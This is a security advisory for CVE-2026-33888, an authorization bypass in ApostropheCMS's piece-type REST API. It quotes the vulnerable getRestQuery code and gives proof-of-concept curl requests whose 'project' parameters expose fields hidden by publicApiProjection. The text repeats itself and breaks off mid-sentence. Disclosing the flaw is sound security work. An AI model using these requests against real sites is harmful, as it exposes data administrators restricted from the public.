CVE-2026-33888

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.

Summary

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
  const query = self.find(req).attachments(true);
  query.applyBuildersSafely(req.query);          // [1] attacker input applied first
  if (!omitPermissionCheck && !self.canAccessApi(req)) {
    if (!self.options.publicApiProjection) {
      query.and({
        _id: null
      });
    } else if (!query.state.project) {            // [2] checks if projection already set
      query.project({
        ...self.options.publicApiProjection,
        cacheInvalidatedAt: 1
      });
    }
  }
  return query;
},

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

// doc-type/index.js:1875-1889
project: {
  launder (p) {
    if (!p || typeof p !== 'object' || Array.isArray(p)) {
      return {};
    }
    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
      return {
        ...acc,
        [key]: self.apos.launder.boolean(val)
      };
    }, {});
    return projection;
  },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

// page/index.js:2953-2958
} else {
  query.project({
    ...self.options.publicApiProjection,
    cacheInvalidatedAt: 1
  });
}

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

// modules/article/index.js
module.exports = {
  extend: '@apostrophecms/piece-type',
  options: {
    publicApiProjection: {
      title: 1,
      _url: 1
    }
  }
};

Step 1: Normal request — observe restricted fields are hidden:

curl 'http://localhost:3000/api/v1/article'

Response returns only title and _url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

Impact

• Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft…

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.

Summary

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
  const query = self.find(req).attachments(true);
  query.applyBuildersSafely(req.query);          // [1] attacker input applied first
  if (!omitPermissionCheck && !self.canAccessApi(req)) {
    if (!self.options.publicApiProjection) {
      query.and({
        _id: null
      });
    } else if (!query.state.project) {            // [2] checks if projection already set
      query.project({
        ...self.options.publicApiProjection,
        cacheInvalidatedAt: 1
      });
    }
  }
  return query;
},

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

// doc-type/index.js:1875-1889
project: {
  launder (p) {
    if (!p || typeof p !== 'object' || Array.isArray(p)) {
      return {};
    }
    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
      return {
        ...acc,
        [key]: self.apos.launder.boolean(val)
      };
    }, {});
    return projection;
  },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

// page/index.js:2953-2958
} else {
  query.project({
    ...self.options.publicApiProjection,
    cacheInvalidatedAt: 1
  });
}

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

// modules/article/index.js
module.exports = {
  extend: '@apostrophecms/piece-type',
  options: {
    publicApiProjection: {
      title: 1,
      _url: 1
    }
  }
};

Step 1: Normal request — observe restricted fields are hidden:

curl 'http://localhost:3000/api/v1/article'

Response returns only title and _url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

Impact

• Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft…